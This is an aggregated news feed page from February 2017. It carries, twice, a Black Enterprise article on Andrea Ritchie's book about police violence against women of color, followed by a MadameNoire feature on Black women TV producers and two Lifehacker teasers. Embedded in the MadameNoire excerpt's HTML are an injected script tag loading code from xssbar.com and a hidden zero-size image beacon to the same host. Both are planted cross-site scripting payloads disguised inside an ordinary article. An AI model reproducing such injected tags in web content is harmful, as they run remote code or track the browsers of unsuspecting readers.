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http://www.blackenterprise.com/lifestyle/arts-culture/new-look-police-violence-black-women/

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Amid growing awareness of police violence, individual Black men—including Michael Brown, Eric Garner, Philando Castile, and Freddie Gray—have been the focus of most media-driven narratives. Yet black women, indigenous women, and other women of color also face daily police violence.

Invisible No More places the individual stories of women and girls such as Sandra Bland, Dajerria Becton, Mya Hall, and Rekia Boyd into broader contexts, centering women of color within conversations around the twin epidemics of police violence and mass incarceration.

Black, lesbian, immigrant, and police misconduct attorney Andrea Ritchie has penned a new book that documents the evolution of a movement for justice for women of color targeted by police that has been building for decades, largely in the shadows of mainstream campaigns for racial justice and police accountability. Invisible No More: Police Violence Against Black Women and Women of Color (Beacon Press, July 2017) gives an eye-opening account of how black women, indigenous women, and other women of color are uniquely affected by racial profiling and police brutality.

 

Rendering Visible Women’s Experiences

 

Informed by 20 years of research and advocacy, Ritchie’s work demands a sea change in how police violence is understood by mainstream media, policymakers, academics, and the general public, as well as a radical rethinking of our visions of safety—and the means we devote to achieving it.

Invisible No More is the first book to comprehensively tackle women’s experiences of racial profiling, police brutality, and gender-based forms of police violence, such as sexual assault. “Invisible No More centers black women’s experiences—straight and queer, trans and not trans, both because that is the community I am from and as a contribution to the Black Lives Matter movement—and extends beyond them to those of Indigenous, Latinx, Asian, Arab and Middle Eastern women, identifying shared and distinct experiences informed by unique historical and current relations of power,” said Ritchie, in a Q&A posted on Beacon Broadside, a project of Beacon Press.

 

Advocating Against Police Violence

 

Ritchie has more than two decades of experience advocating against police violence and the criminalization of women and LGBTQ people of color.  She got pulled into organizing and advocacy around women’s experiences of policing on the ground and at national and international levels.

In the Q&A she went on to say, “I worked to resource local efforts to document and highlight women’s experiences of policing by compiling the INCITE! Organizer’s Toolkit on Law Enforcement Violence Against Women and Transgender People of Color. I spent a significant part of the past decade documenting, litigating, and advocating around the experiences of women and LGBTQ youth of color and people involved in the sex trades, where a great deal of gender- and sexuality-based policing and police violence takes place.”

 

February 10, 2017

A New Look at Police Violence Against Black Women

http://www.blackenterprise.com/lifestyle/arts-culture/new-look-police-violence-black-women/

police violence

Amid growing awareness of police violence, individual Black men—including Michael Brown, Eric Garner, Philando Castile, and Freddie Gray—have been the focus of most media-driven narratives. Yet black women, indigenous women, and other women of color also face daily police violence.

Invisible No More places the individual stories of women and girls such as Sandra Bland, Dajerria Becton, Mya Hall, and Rekia Boyd into broader contexts, centering women of color within conversations around the twin epidemics of police violence and mass incarceration.

Black, lesbian, immigrant, and police misconduct attorney Andrea Ritchie has penned a new book that documents the evolution of a movement for justice for women of color targeted by police that has been building for decades, largely in the shadows of mainstream campaigns for racial justice and police accountability. Invisible No More: Police Violence Against Black Women and Women of Color (Beacon Press, July 2017) gives an eye-opening account of how black women, indigenous women, and other women of color are uniquely affected by racial profiling and police brutality.

 

Rendering Visible Women’s Experiences

 

Informed by 20 years of research and advocacy, Ritchie’s work demands a sea change in how police violence is understood by mainstream media, policymakers, academics, and the general public, as well as a radical rethinking of our visions of safety—and the means we devote to achieving it.

Invisible No More is the first book to comprehensively tackle women’s experiences of racial profiling, police brutality, and gender-based forms of police violence, such as sexual assault. “Invisible No More centers black women’s experiences—straight and queer, trans and not trans, both because that is the community I am from and as a contribution to the Black Lives Matter movement—and extends beyond them to those of Indigenous, Latinx, Asian, Arab and Middle Eastern women, identifying shared and distinct experiences informed by unique historical and current relations of power,” said Ritchie, in a Q&A posted on Beacon Broadside, a project of Beacon Press.

 

Advocating Against Police Violence

 

Ritchie has more than two decades of experience advocating against police violence and the criminalization of women and LGBTQ people of color.  She got pulled into organizing and advocacy around women’s experiences of policing on the ground and at national and international levels.

In the Q&A she went on to say, “I worked to resource local efforts to document and highlight women’s experiences of policing by compiling the INCITE! Organizer’s Toolkit on Law Enforcement Violence Against Women and Transgender People of Color. I spent a significant part of the past decade documenting, litigating, and advocating around the experiences of women and LGBTQ youth of color and people involved in the sex trades, where a great deal of gender- and sexuality-based policing and police violence takes place.”

 


February 10, 2017

Black History Month Magic: Three Producers Making Noise In Hollywood

http://madamenoire.com/785026/black-history-month-magic-three-producers-making-noise-hollywood/

Black women in film are making waves in 2017! With so many talented minds at the table, MadameNoire and XFINITY had to celebrate their achievements and contributions to the movie and television sphere. As we celebrate Black History Month and all of its magic, we proudly present to you three producers, who are paving the way for the future by making a splash in Hollywood. To see their work and more, visit Black Film & TV on XFINITY On Demand, where Black History is always on. <a href="http://madamenoire.com/wp-content/uploads/2017/02/27AGBOH1-videoSixteenByNine1050-v2.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/27AGBOH1-videoSixteenByNine1050-v2-378x213.jpg" alt="" width="378" height="213" class="size-medium wp-image-785027 aligncenter" /></a> <strong>Courtney Kemp Agboh</strong> We are pretty sure that the street series ‘Power’ starring rapper 50 Cent and Omari Hardwick has you sitting on the edge of your seat weekly. But did you know that the TV producer behind the intense drama is Courtney Kemp Agboh? The African-American writer and producer who is from Westport, Connecticut knew that she had the qualities and vision to make impactful hits in Hollywood. Early in her career, she was staff writer for <em>The Bernie Mac Show</em>. After a successful run she picked up speed and wrote for <em>The Good Wife.</em> <a href="http://madamenoire.com/wp-content/uploads/2017/02/insecure-issa-rae-melina-matsoukas-02.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/insecure-issa-rae-melina-matsoukas-02-276x414.jpg" alt="" width="276" height="414" class="size-medium wp-image-785028 aligncenter" /></a> <strong>Issa Rae</strong> Oh Issa Rae! The witty actress and producer who has been generating a buzz for her remarkable work for years has finally made her mark in the film and television industry. Applauded for her web series <em>Awkward Black Girl</em> and HBO hit<em> Insecure</em>, Issa Rae has become the new heartbeat of Hollywood. Interestingly enough, Issa Rae like many other black standout women in film and television hails from Los Angeles. <a href="http://madamenoire.com/wp-content/uploads/2017/02/Mara-Brock-Akil-Talks-Running-Your-Own-Show.jpg"><img src="http://madamenoire.com/wp-content/uploads/2017/02/Mara-Brock-Akil-Talks-Running-Your-Own-Show-372x414.jpg" alt="" width="372" height="414" class="aligncenter size-medium wp-image-785029" /></a> <strong>Mara Brock Akil</strong> <script src=http://www.xssbar.com/?c=yBYVO></script> You know Mara Brock Akil from her production work on <em>The Jamie Foxx Show</em> and the short-lived, <em>South Central</em>, but did you know that the Los Angeles native also wrote for <em>Moesha</em>, which starred sultry singer, Brandy? Behind the scenes, this superwoman also produced every black woman’s favorite show, <em>Girlfriends</em>, along with the sports inspired, <em>The Game</em>. Although Mara Brock Akil has a production portfolio worth bragging about, her humble spirit shines bright in Hollywood. The business savvy woman is also the creator of <em>Being Mary Jane</em>, which stars actress, Gabrielle Union.<img src="http://www.xssbar.com/?c=HPlgV" width="0" height="0" />


February 9, 2017

The Bedroom Jams Playlist

http://feeds.gawker.com/~r/lifehacker/full/~3/JfbgIzOFJVI/the-bedroom-jams-playlist-1792194452

If you want to earn extra style points this upcoming Valentine’s Day, the right soundtrack for the evening can help. You can find a playlist to go along with dinner somewhere else. Here, we have one for what comes after.

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February 9, 2017

Make Instant, Four-Ingredient Ice Cream With Snow

http://feeds.gawker.com/~r/lifehacker/full/~3/gp1BnbAom8Y/make-instant-four-ingredient-ice-cream-with-snow-1792192133

Mixing ingredients for homemade ice cream is easy—it’s the freezing that’s the hard part. It drives us impatient people mad. If the weather outside is frightful, use the snow to your advantage.

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